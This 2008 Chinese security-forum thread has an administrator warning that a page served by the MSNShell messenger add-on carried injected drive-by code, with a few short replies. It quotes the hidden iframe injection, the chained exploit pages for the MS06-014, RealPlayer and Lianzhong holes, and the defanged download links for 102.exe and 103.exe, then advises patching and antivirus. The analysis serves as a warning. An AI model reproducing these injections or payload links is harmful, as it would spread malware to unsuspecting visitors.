hzqedison

管理员

Rank: 18

UID: 184587
积分: 3286
金元: 474 JY
金分: 32578 JF
活跃度: 7773

论坛一级勋章 Super Hero勋章 MVP技术专家我的中国心 2009圣诞老人论坛二级勋章祖国60华诞福娃迎迎

楼主 跳转到 » 倒序看帖

打印

字体大小: tT

发表于 2008-3-18 22:32 | 只看该作者

[原创] 警惕利用msnshell(msn外挂小工具)挂马中毒

事情经过

MSNShell 是一个为了支持 Windows Live Messenger 的发展，提供多种扩展服务及功能的免费增强包。MSNShell 为 Windows Live Messenger 量身定制了多种个性化功能。MSNShell 不但具有客户端定制功能，更扩展了多种附加服务，使用 Windows Live Messenger 将变得更加有趣。

一直用着MSNShell去广告功能,今天突然发现Linkscaner 出现如下提醒

探寻图上给出的地址
htp://shell09.msnshell.com/gol.htm?MV=8.5.1302.1018&SV=4.2.28.32&L=0804&M=********(******为自己的hotmail邮箱地址)

---->
<iframe src=htP://k.j8j8.biz/102/ width=30 height=0></ifram>
---->
<html><TITLE>index</TITLE><BODY>
<iframe src="14.htm" width=100 height=1></iframe>
<iframe src="r.htm" width=100 height=1></iframe>
<iframe src="1.htm" width=100 height=1></iframe>
</body></html>
<script src='htp://s109.cnzz.com/stat.php?id=418402&web_id=418402' language='JavaScript' charset='gb2312'></script>

14.htm---->(ms0614)
htp://vvv.123sky.biz/***/102.exe

r.htm---->(real漏洞)
htp://vvv.123sky.biz/***/102.exe

1.htm---->lz.htm---->(联众漏洞)
htp://vvv.123sky.biz/***/103.exe

还要一个是统计页面

问题探究

不知道是不是msnshell漏洞,但是我猜想不是,应该是msnshell提供的多功能服务里面有个网页被挂马了,所以导致以上我刚才的经过.

有的真是一点不注意,就这样被挂马中招,所以有些经常会感觉我就上个QQ或者MSN怎么也会中毒.

建议

更新系统漏洞
安装正版杀软,升级到更新
采用超级巡警或者360安全对第三方漏洞进行修复

附件: 您需要登录才可以下载或查看附件。没有帐号？加入剑盟

0

赞
踩

欢迎来访我的blog
友情提示：如果问题已经解决，请自行修改标题，加上【已解决请锁贴】标签。谢谢合作!
不在线可以发邮件给我 hzqedison@novir.org

火眼金睛挑个便宜货

nhxycfans

剑盟荣誉团队

Rank: 10

UID: 242988
积分: 2702
金元: 59 JY
金分: 814 JF
活跃度: 6738

剑盟精英勋章优秀斑竹勋章剑盟情侣勋章杰出会员勋章福娃迎迎福娃妮妮福娃晶晶福娃欢欢福娃贝贝我的中国心

沙发

发表于 2008-3-18 22:40 | 只看该作者

回复楼主的帖子

很久沒用MSN 了。

用msn的时候也没有用这个软件，哈哈。

漏洞基本都补上了，谢谢。

杀毒,系统修复就用『金山云查杀』 www.duba.net

Rank: 10

UID: 249391
积分: 171
金元: 1120 JY
金分: 6546 JF
活跃度: 423

我的中国心

板凳

发表于 2008-3-18 22:46 | 只看该作者

貌似很久没有使用MSN了

无御毒之术唯余一真心尔

TOP

秋叶濛濛

共赏四书意

Rank: 3 Rank: 3

UID: 241961
积分: 129
金元: 40 JY
金分: 4822 JF
活跃度: 322

地板

发表于 2008-3-18 23:23 | 只看该作者

用MSN的注意下吧

---------------------秋叶濛濛の小屋---------------------

Rank: 10

UID: 241791
积分: 17
金元: 0 JY
金分: 8506 JF
活跃度: 42

5楼

发表于 2008-3-18 23:29 | 只看该作者

一直在用msnshell，最终会不会中木马，还与IE漏洞有关吧

Rank: 18

UID: 184587
积分: 3286
金元: 474 JY
金分: 32578 JF
活跃度: 7773

论坛一级勋章 Super Hero勋章 MVP技术专家我的中国心 2009圣诞老人论坛二级勋章祖国60华诞福娃迎迎

6楼

发表于 2008-3-19 09:00 | 只看该作者

原帖由 amoon 于 2008-3-18 23:23 发表
用MSN的注意下吧

第三方漏洞是关键

欢迎来访我的blog
友情提示：如果问题已经解决，请自行修改标题，加上【已解决请锁贴】标签。谢谢合作!
不在线可以发邮件给我 hzqedison@novir.org

火眼金睛挑个便宜货

TOP

411 该用户已被删除	7楼发表于 2008-3-19 11:23 \| 只看该作者提示: 作者被禁止或删除内容自动屏蔽
411 该用户已被删除	火眼金睛挑个便宜货
	TOP